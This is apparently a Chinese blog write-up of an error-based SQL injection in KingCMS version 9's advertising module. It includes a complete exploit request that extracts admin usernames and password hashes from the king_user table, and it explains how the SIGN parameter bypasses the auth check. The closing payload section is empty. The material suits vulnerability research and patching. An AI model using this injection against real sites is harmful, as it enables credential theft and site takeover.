朋友的公司想购买kingcms的授权,让我帮忙看下。发现kingcms很长一段时间没更新了,憋了一段时间放出了最新版的k9(2014-12-13更新),官网下下来学习一下。
在wooyun上看到了几个漏洞,如: WooYun: kingcms最新版sql注入漏洞
注入点:GET /apps/advertising/manage.php?jsoncallback=1&_=1&CMD=edt&AJAX=1&USERID=10000&SIGN=89ee81f5f1f328f555ceb7e7655d9f2f&type=1'/**/UNION/**/SELECT/**/1/**/FROM(SELECT/**/COUNT(*),CONCAT(0x23,(SELECT/**/concat(username,0x23,userpass)FROM/**/king_user/**/LIMIT/**/0,1),0x23,FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.tables/**/GROUP/**/BY/**/x)a%23 HTTP/1.1
注入参数:type 问题文件在/apps/advertising/manage.php
这里有个if判断if (!$u->auth_role('advertising_edit',true)),只要使GET[‘SIGN’]为下面的SIGN即可。
$type是这样获得的$type=kc_post('type');,去看看kc_post()
可以看到利用kc_validate($post,$type)来对数据进行过滤,但是当kc_validate($post,$type)的第二个参数$type默认值时,则不会过滤,这里在使用kc_validate($post,$type)时,第二个参数就是使用的默认值,也即这里没有过滤。
一直到进行数据库都未过滤,执行了$rs=$db->getRows_one('%s_advertising','edate',"type='$type' and status=1",'edate desc');造成了注入。
Kingcms可以报错,因此
Payload:
注入成功,见下图
